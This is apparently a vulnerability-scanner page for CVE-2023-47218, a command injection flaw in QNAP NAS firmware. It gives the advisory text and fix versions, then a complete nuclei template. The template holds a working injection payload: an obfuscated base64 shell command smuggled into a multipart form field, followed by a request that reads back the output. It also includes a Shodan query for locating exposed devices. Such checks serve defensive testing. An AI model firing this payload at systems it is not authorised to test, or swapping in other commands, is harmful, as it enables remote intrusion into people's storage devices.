QNAP QTS and QuTS Hero - OS Command Injection

mediumseverity

5.8CVSS score

89.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.

Impact

Unauthenticated attackers on the local network can execute arbitrary commands remotely, potentially compromising NAS devices and stored data.

Fix

Update to QTS 5.1.5.2645 build 20240116 or later, QuTS hero h5.1.5.2647 build 20240118 or later, or QuTScloud c5.1.5.2651 or later.

How to confirm it

Send: POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image ; POST /cgi-bin/quick/{{file}}
Positive when: contains_all(body_1, "code\": 200", "full_path_filename success") and contains_all(body_2, "uid=", "gid=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-47218 -u <target>

The full check

id: CVE-2023-47218

info:
  name: QNAP QTS and QuTS Hero - OS Command Injection
  author: ritikchaddha
  severity: medium
  description: |
    An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.
  impact: |
    Unauthenticated attackers on the local network can execute arbitrary commands remotely, potentially compromising NAS devices and stored data.
  remediation: |
    Update to QTS 5.1.5.2645 build 20240116 or later, QuTS hero h5.1.5.2647 build 20240118 or later, or QuTScloud c5.1.5.2651 or later.
  reference:
    - https://github.com/passwa11/CVE-2023-47218
    - https://twitter.com/win3zz/status/1760224052289888668/photo/3
    - https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47218
    - https://www.qnap.com/en/security-advisory/qsa-23-57
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 5.8
    cve-id: CVE-2023-47218
    cwe-id: CWE-77
    epss-score: 0.8992
    epss-percentile: 0.99794
    cpe: cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: ssl.cert.issuer.cn:"QNAP NAS",title:"QNAP Turbo NAS"
    product: qts
    vendor: qnap
  tags: cve,cve2023,qnap,qts,quts,rce,intrusive,vkev,vuln
variables:
  file: '{{rand_base(6)}}'
  cmd: '%22$($(echo -n aWQ=|base64 -d)>{{file}})%22'

http:
  - raw:
      - |
        POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary="avssqwfz"

        --avssqwfz
        Content-Disposition: form-data; xxpcscma="field2"; zczqildp="{{cmd}}"
        Content-Type: text/plain

        skfqduny
        --avssqwfz–

      - |
        POST /cgi-bin/quick/{{file}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1, "code\": 200", "full_path_filename success")'
          - 'contains_all(body_2, "uid=", "gid=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from